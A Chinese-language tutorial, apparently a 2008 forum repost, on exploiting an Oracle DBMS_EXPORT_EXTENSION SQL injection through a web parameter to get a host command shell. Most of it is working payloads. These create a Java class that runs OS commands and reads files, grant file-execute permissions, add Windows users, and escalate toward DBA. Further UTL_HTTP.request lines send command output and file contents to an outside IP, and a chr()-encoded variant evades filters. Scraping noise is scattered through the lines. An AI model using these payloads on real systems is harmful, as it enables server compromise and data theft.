& h% {7 M5 K, g- }- d
9 h0 |4 Q& A& X, }/ a介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。: H W, F$ v( W j2 m: F$ X
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以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
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" s% x7 b. U+ T- C! W/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)5 C7 [' ]1 T+ H% C8 i
( `- _$ e+ o% p) A& c7 v/ z$ s3 y的形式即可。(用" 'a'|| "是为了让语句返回true值)
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语句有点长,可能要用post提交。
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! H' W( p; V- Y以下是各个步骤:
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1.创建包& C s8 |& d* z) `
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:2 Z4 c" |' Z4 @. r
- x) Z# u8 _" F* Z/xxx.jsp?id=1 and '1'<>'a'||(, s: x7 A3 U9 T5 {6 B* F9 O8 V
) I; e0 `7 r8 V' _. |4 tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
% ]4 \2 l2 X$ b" @; R( _6 Xcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
2 l9 R9 ?0 R* x; }/ Vnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
; h9 ]# `6 S3 v% _( R}'''';END;'';END;--','SYS',0,'1',0) from dual' u8 w5 S: }3 s) j' ^
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0 k+ B) N0 j; w! }------------------------' E9 r" k H4 @5 H3 A
如果url有长度限制,可以把readFile()函数块去掉,即:: s1 q) H7 L( P( J* ?, K
/xxx.jsp?id=1 and '1'<>'a'||(6 [1 L( i7 R* K; d! J+ E
: D, q2 p( D/ }0 Aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
6 R8 K) b8 w, z1 _& W9 Pcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(: n1 r) n8 M) H7 H6 V, |, g
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}/ C2 R- ] [! T1 n
}'''';END;'';END;--','SYS',0,'1',0) from dual* e5 e6 f& y4 q- R. r/ F& D! t
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同时把后面步骤 提到的 对readFile()的处理语句去掉。
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2.赋Java权限
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
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3.创建函数
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+ p; h6 @. u& C: }: v& H) kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
( J1 |8 ?0 K! ]' i. e% Jcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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4 J6 t6 u' F8 T" }/ Zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''- o$ R4 V- {) M$ ^
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual9 q% `: d+ N, y' I2 I* `. r
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4.赋public执行函数的权限5 r( l% ^' ]9 C# R! g* [7 o9 e
. b1 F' F6 ^0 @* f3 tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual5 w# M v' u0 p @4 j9 @) A. v
* h8 \3 v# o: u/ F+ |select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
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5.测试上面的几步是否成功+ n. Q# O8 `. ]0 T7 p
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and '1'<>'11'||(9 `, C. e1 O z: G6 B
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
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and '1'<>(
% g9 }0 T8 P( l. t( B3 Hselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'
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6.执行命令:- y/ u; Y- O+ B. o
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/xxx.jsp?id=1 and '1'<>(0 Q. O4 l+ i/ E2 {
select sys.LinxRunCMD('cmd /c net user linx /add') from dual6 U8 Q6 n4 @( e8 z& q
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/xxx.jsp?id=1 and '1'<>(
8 O: O# a1 j' p% m& D$ V/ v1 gselect sys.LinxReadFile('c:/boot.ini') from dual
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L0 }4 m) p7 Z$ A注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。1 ?7 B: q5 N: i* U0 x
如果要查看运行结果可以用 union :: ~6 r/ z7 d( |- q% o
7 L9 d8 A, U) M1 I4 R5 y/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual! ~6 Q; B3 ]- y& J/ C4 V
3 Q; y: u6 _3 n3 K或者UTL_HTTP.request(:
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/xxx.jsp?id=1 and '1'<>(: z$ b3 J8 k& _+ ?$ K% E! F0 k& c) U
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual q- E: X$ r; v" C k0 r+ O: Y" ^
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. z! m. `( Z2 J3 G! w3 b5 i/xxx.jsp?id=1 and '1'<>(
0 h% H5 T- z0 i0 N3 p" [SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
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注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。: d" N0 ~9 U h. \( G
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--------------------! V5 U, x/ Z$ L% k, F! W
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6.内部变化9 F& g! q, i1 { j
通过以下命令可以查看all_objects表达改变:& Q8 b; X: Z) k1 N
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'" {' w7 z& b+ D, S
1 r+ v' a D# V* y* {3 y7.删除我们创建的函数! K9 ?" y9 Y) E0 @' d0 z" N
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''8 k B' e1 \5 `/ C1 v
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual) j' u5 v D; p/ x6 y( C2 y# L
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====================================================; z' F2 R9 h/ g: g+ c
全文结束。谨以此文赠与我的朋友。7 P* @/ u8 ^' A8 q0 o/ ]" L% K9 r
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linx+ m) ]" J, U9 ^
1248294451 n! \& {6 K' y
2008.1.12+ y2 P0 N1 C8 o2 \2 U
linyujian@bjfu.edu.cn5 s4 K3 l% h% h5 F7 t, |
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======================================================================
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: N* o+ i# R8 D: E* V. a$ E测试漏洞的另一方法:
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- d# j9 v7 t" w) B8 D, Q# \创建oracle帐号:/ E9 {7 a4 G2 G/ E7 J# A/ T
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''' s; A, c2 l3 X7 b$ l
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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, {/ p8 L% T$ y, v% b: ^即:
, Y1 {5 G/ }6 q7 o: y7 Q3 Aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
2 E. N7 M2 t6 }$ u# p+ s) O) Bchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual4 O0 x: d# W# O' N8 `5 S3 k
( l3 w I3 B8 ^确定漏洞存在:
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) `6 p; j: H$ eselect user_id from all_users where username='LINXSQL': E9 k/ g% s0 ?/ Y0 s& o
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给linxsql连接权限:7 k% y3 h6 z1 r- t' M8 |
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
" Q" P/ v3 C/ K1 I9 Y5 OGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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删除帐号:! c- Z' B! P9 x4 R$ t8 w& B
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''' u$ L! G$ B4 E; f
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual3 M* R1 O* i5 m
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以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:* y0 A4 T, ?$ e% n: ]/ y n9 Z6 O% J( M
' V$ t& F3 P# b1.jsp?id=1 and '1'<>(+ E6 E0 u& L/ y
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
) n( c; ^2 k$ S: i! U. {) Bcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual/ R, E, b) b1 w8 g: G9 J
) and ...
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1.jsp?id=1 and '1'<>(* p/ E# s1 ~& _. d6 A% ^8 V
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
" O# e( E6 t4 V# E+ J3 C* v) and ...
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1.jsp?id=1 and '1'<>(
' G3 g a! y; V2 uSELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
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1.jsp?id=1 and '1'<>(
1 W# H1 v+ ], q& iSELECT sys.Linx_Query('declare pragma
7 ]& A" L, `$ h) J7 Z7 a- Fautonomous_transaction; begin execute immediate ''
5 c) ~8 w0 ]0 kselect 1 from dual% B% n( M. D C
''; commit; end;') from dual
3 y, N! G/ e! P. q) and ...
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多语句:( \8 x [" M" P6 i
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual/ m9 r9 D4 t; H6 K2 |9 G
, O3 y( I, S; G" Z创建用户(除非当前用户有system权限,否则无法成功):
. L4 d4 H7 L$ G3 ^/ R; CSELECT sys.Linx_Query('declare pragma
8 t' e Q, w9 Q$ ?: j9 l5 Eautonomous_transaction; begin execute immediate '') s" r8 H; T2 W: k7 x2 b& x
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User5 w/ E& s, o- [: [7 y
''; commit; end;') from dual( c ~ A! ]' u( ?8 ?
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& y' T5 Y& H- n7 e. b以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()1 K' ^( ]: ^3 B
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1.创建函数
+ C" v0 ]1 U& w6 I, F2 F) hselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
& s2 _) O2 V. R% O2 jcreate or replace function Linx_Query (p
5 j' N* a' t6 u% ^% @varchar2) return number authid current_user is begin execute immediate% X; u, p7 G/ U: v# |+ t# E- F7 g
p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;
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如果有权限,以下语句应该允许正常* s/ X: X2 @* [: i
select sys.linx_query('select 1 from dual') from dual;
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不然的话运行:
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
9 I1 ^ u* i2 [2 I# ~& S& R @grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual" V5 s) p& v( ^% K8 a
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3 V+ U+ y( C" Z9 V$ O/ i2.创建包; {+ |- d* m P/ Y" U
SELECT sys.Linx_Query('declare pragma
- v7 C9 A' O- E9 Q8 J4 x$ tautonomous_transaction; begin execute immediate ''
" l9 K. D" ?$ k8 v) Screate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
9 h4 p% w; u3 ]& N! p% bnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual" f, `% U/ i/ i1 [* P+ K- I [! N
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3.创建函数
+ u% D& G4 E4 W* h# v6 ~1 [1 ESELECT sys.Linx_Query('declare pragma5 Q. `) ~( c1 f
autonomous_transaction; begin execute immediate '' H% s2 k7 n% p4 b2 v0 {+ }
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual7 U' ~$ V' A% H- m1 N, e" A
0 y) Z8 m: b5 p5 h8 w
4.给权限( _2 y8 c; h7 Z! L
给用户SYSTEM执行权限:
' G# a" S& \1 |1 m
% E1 i- l& ^# F4 w8 V) D, G# aSELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual, h: G) T* } n& ~
9 f% q) D0 @# U
% f* T4 a! j5 D( G$ D9 q4 L6 W, M9 m9 u* B% X0 O
5.执行函数7 V1 k* K" X; P# @% N
select RunCMD2('cmd /c dir') from dual# O: ]' l5 P/ q4 l
( U- ?" f& g2 m% s# P# C, N
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+ I8 @7 B( {" {$ s6 b$ n
8 |" c$ ~ g7 j1 s- Z. _9 O& U+ x C# G$ I. m
==================$ ~- A7 S/ |7 G3 _" N
================================9 o4 d3 y9 t2 S$ I$ ]) G8 q/ A/ T9 D
. A6 r% t( q) k5 @& }/ r# f+ }! S
以下是无 " ' " 版:" x, Q* E; ]7 O$ l1 r* N, L {' T
3 {1 [$ U1 y0 k4 ?0 _4 S; V
以下是各个步骤:1 N5 ^! T7 z i* c4 L
3 t: f# E. B7 g& z( o k1.创建包0 v( B ^( G4 z: u
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
/ ^% ~+ q' T7 N: m* g* }因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:* K4 C0 F0 v# N# _
; t0 E6 Z! |5 Y0 @2 Z
/xxx.jsp?id=1 and chr(49)<>chr(50)||(
/ i7 a. E# }9 r! e% M0 }: v8 ?# d
7 k7 n( K8 ]) J0 Nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
/ b1 v1 ]7 o6 C$ |+ R2 fchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||) A0 k% {4 J% s5 @
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
) p I0 ?; n( ]9 X0 w5 y$ B% P3 y9 n5 hchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
$ P) n/ ~# Z' ]" ychr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||
( B, B# f$ v8 ^. f8 q% Dchr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
" A# A- X) u. g' ~1 a8 x. Qchr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)|| m3 K/ J( b8 A: D) y7 [
chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||8 c5 F7 Q3 I7 W# N$ k
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||
& Y$ e) i4 o. z, z- I& `+ d3 rchr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||' W- I' P3 s" X/ }
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
6 Z7 Z+ o1 W- S1 wchr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
4 ?3 g- x* t0 h; } s" Ichr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
( e N# [, k5 {' @5 r3 C: c% {chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||
5 `2 m- Q7 w8 x. v. `+ b3 cchr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||
0 \6 B& F+ K7 v! Mchr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||' t6 `, H6 ^. M8 B; }0 t% m
chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||" e0 k, ?2 b) L8 e3 O4 C( h
chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
3 s" P" }' x- Lchr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
$ N* ^" O5 I, n* n# B! X$ W5 Echr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||3 P0 o. |3 F2 c' j, Q2 } O! K9 t' F
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||7 Z" \! ]' W& g( f4 A$ q
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||$ A: ^, |0 U5 G8 H
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
# W) U9 x1 c; q2 A3 ~chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
. s% a I7 m' r- @+ v& Q5 Schr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||; t) w5 [ m2 w0 Y
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||6 v9 ~) S7 s. P
